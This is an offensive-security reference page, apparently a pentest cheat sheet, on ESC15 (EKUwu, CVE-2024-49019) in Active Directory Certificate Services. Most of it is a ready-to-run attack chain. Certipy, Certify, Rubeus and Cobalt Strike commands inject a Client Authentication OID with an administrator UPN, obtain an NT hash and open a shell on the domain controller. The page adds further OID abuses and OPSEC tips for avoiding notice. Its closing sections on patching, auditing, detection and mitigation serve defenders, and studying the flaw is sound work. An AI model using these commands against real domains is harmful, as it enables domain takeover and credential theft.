ESC15 — EKUwu (CVE-2024-49019)
Quick Reference
| Field | Value |
|---|---|
| Category | Software Vulnerability (not misconfiguration) |
| Difficulty | Low–Medium |
| Pre-requisites | Enrollment in schema v1 template + unpatched CA |
| CVE | CVE-2024-49019 |
| Patched | November 2024 — KB5044281 |
| Tools | Certipy, Certify (TrustedSec fork), Cobalt Strike BOFs |
| OPSEC Noise | Low — looks like normal enrollment |
| One-liner | Inject arbitrary Application Policy OIDs (like Client Authentication) into a CSR against schema version 1 templates — the CA honours them even if the template never specified those policies. |
What Is ESC15?
ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — it is not a misconfiguration. It is a software vulnerability in Microsoft’s implementation of Application Policies in schema version 1 certificate templates.
Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes Certificate Signing Requests (CSRs) against schema version 1 templates — templates that Microsoft itself ships as defaults. The bug allows an attacker to inject arbitrary Application Policy OIDs into their CSR that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies.
In practical terms: you enroll in a harmless default template, inject Client Authentication OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin.
Why Schema Version 1 Is Special
The entire vulnerability hinges on a behavioural difference between schema versions:
| Schema Version | Application Policy Behaviour |
|---|---|
| Version 1 | CA accepts Application Policies supplied in the CSR — attacker controlled |
| Version 2+ | CA ignores CSR-supplied Application Policies — uses only what’s defined in the template |
Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the szOID_APPLICATION_CERT_POLICIES (1.3.6.1.4.1.311.21.10) attribute handling in v1 template processing.
Default Vulnerable Templates
Because ESC15 targets schema version 1 templates, it can affect default Microsoft-provided templates — no admin misconfiguration required:
| Template | Default Enrollment Rights | Schema Version | Risk |
|---|---|---|---|
User | Domain Users | 1 | ⚠️ High — every domain user |
Machine | Domain Computers | 1 | ⚠️ High — every machine |
DomainController | Domain Controllers | 1 | DCs only |
WebServer | Administrators | 1 | Often over-permissioned |
SubCA | Administrators | 1 | Admin-only normally |
CA | Administrators | 1 | Admin-only |
💡 The
UserandMachinetemplates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all.
Required Conditions
| Condition | Notes |
|---|---|
| Template uses Schema Version 1 | Schema Version: 1 in certipy output |
Template has Enrollee Supplies Subject enabled | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT |
| Low-priv users can enroll | Standard enrollment rights check |
| Unpatched (pre-November 2024 KB5044281) | Check patch status |
Step 0 — Enumeration
# Standard scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
-dc-ip $TARGET -vulnerable -stdout
# Certipy flags ESC15 when it detects Schema Version 1 + Enrollee Supplies Subject
# Manually check patch status
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
-x 'wmic qfe list brief | findstr KB5044281'
# If no output = unpatched = ESC15 works
What Vulnerable ESC15 Output Looks Like
Certificate Templates
Template Name : User
Schema Version : 1 ← KEY: Schema V1
Enabled : True
Client Authentication : False ← Not required — you'll inject it
Enrollee Supplies Subject : True
Requires Manager Approval : False
Authorized Signatures Required : 0
Permissions
Enrollment Rights : DOMAIN\Domain Users
[!] Vulnerabilities
ESC15 : Template schema version is 1 and the template allows the
enrollee to supply the subject and an application policy
Full Attack Chain — Linux (Certipy)
Certipy’s ESC15 support was added after TrustedSec’s disclosure. The key flag is -application-policies which injects the arbitrary OID into the CSR.
Step 1 — Request Cert with Injected Application Policy + Spoofed Subject
# Inject Client Authentication OID + specify Administrator as subject
certipy-ad req \
-u 'lowpriv@domain.htb' \
-p 'Password123!' \
-dc-ip $TARGET \
-ca 'DOMAIN-CA-NAME' \
-template 'User' \
-upn 'administrator@domain.htb' \
-application-policies 'Client Authentication'
# Output: administrator.pfx
What Certipy does under the hood:
- Builds a CSR for the
Usertemplate (schema v1) - Injects
Client AuthenticationOID (1.3.6.1.5.5.7.3.2) intoszOID_APPLICATION_CERT_POLICIESextension of the CSR - Sets
SubjectAltName: UPN = administrator@domain.htb - CA honours both — issues cert with Client Auth capability AND Administrator UPN
Expected output:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 14
[*] Got certificate with UPN 'administrator@domain.htb'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'
Step 2 — Authenticate
certipy-ad auth \
-pfx administrator.pfx \
-username administrator \
-domain domain.htb \
-dc-ip $TARGET
# Output: administrator.ccache + NT hash
Step 3 — Shell
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.domain.htb
evil-winrm -i $TARGET -u administrator -H <NTHASH>
Extended Use Cases — Beyond Client Auth
TrustedSec’s research showed ESC15 is more dangerous than ESC2 in some respects because you can inject any Application Policy OID:
# Code signing certificate — forge software signatures
certipy-ad req ... -application-policies 'Code Signing'
# Smart Card Logon — bypass smart card enforcement
certipy-ad req ... -application-policies 'Smart Card Logon'
# Enrollment Agent — bridges into ESC3 territory
certipy-ad req ... -application-policies 'Certificate Request Agent'
# Any Purpose — like ESC2
certipy-ad req ... -application-policies 'Any Purpose'
Each of these opens a completely different post-exploitation path from the same single vulnerability.
Windows Attack Chain (TrustedSec Tools)
# ESC15 from Windows requires crafting a custom CSR with injected Application Policy
# Option A: TrustedSec BOFs (Cobalt Strike)
adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2"
# Option B: Updated Certify fork from TrustedSec
.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User `
/altname:administrator /applicationpolicies:"Client Authentication"
# Convert and authenticate
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
ESC15 vs ESC1 and ESC2
| ESC1 | ESC2 | ESC15 | |
|---|---|---|---|
| Root cause | Template misconfiguration | Template misconfiguration | Software bug in schema v1 |
| Admin misconfiguration required? | ✅ | ✅ | ❌ No — default templates vulnerable |
| Injects EKU via | Template has it pre-set | Template has Any Purpose | CSR at request time |
| CVE assigned | No | No | CVE-2024-49019 |
| Patched | No patch (misconfiguration fix) | No patch | ✅ November 2024 KB5044281 |
| Can inject arbitrary EKUs? | ❌ | ❌ | ✅ |
| Schema version required | Any | Any | Version 1 only |
| Discovered by | SpecterOps | SpecterOps | TrustedSec (Justin Bollinger) |
Post-Patch Verification
# Check if KB5044281 is installed
Get-HotFix -Id KB5044281
# If installed, ESC15 is patched — schema v1 templates will no longer
# accept CSR-supplied Application Policies
# Permanent fix — upgrade templates to schema v2+
# In CA MMC: Template Properties → Compatibility tab
# Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later
# This upgrades the template to schema version 2+
Audit Schema V1 Templates
# Find all schema V1 templates in your environment
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" `
-Filter {msPKI-Template-Schema-Version -eq 1} -Properties * |
Select-Object Name, 'msPKI-Template-Schema-Version'
OPSEC Considerations
| Action | Log Generated | Noise Level |
|---|---|---|
| Certificate request | Event ID 4886/4887 | 🟢 Low (looks like normal enrollment) |
| Patch status check | WMI query | 🟢 Low |
| Auth with injected EKU | Event ID 4768 | 🟢 Low |
💡 ESC15 is very quiet — the enrollment looks completely legitimate. The only anomaly is that the issued certificate has an Application Policy (Client Auth) that isn’t defined on the template configuration. Detecting this requires comparing issued cert policies against template-defined policies.
Detection Indicators
- Event ID 4887 — Certificate issued with
Client AuthenticationEKU from a template (User,Machine) that doesn’t have that EKU defined in its configuration - CSR inspection — Monitor for CSRs containing
szOID_APPLICATION_CERT_POLICIESextensions not matching the requested template’s defined policies - Microsoft Defender for Identity — Has built-in ESC15 detection post-patch
- Template-to-cert comparison — Alert when issued cert EKUs ≠ template-defined EKUs
Mitigation
- Apply KB5044281 (November 2024 patch) — direct fix for the vulnerability
- Migrate schema v1 templates to v2+ — removes the vulnerable code path entirely (see Post-Patch Verification section)
- Restrict enrollment rights on
UserandMachinetemplates — removingDomain Usersfrom enrollment rights is the single fastest interim mitigation - Audit schema version 1 templates using the PowerShell command above
- Monitor for Application Policy injection — compare issued certificates against template-defined policies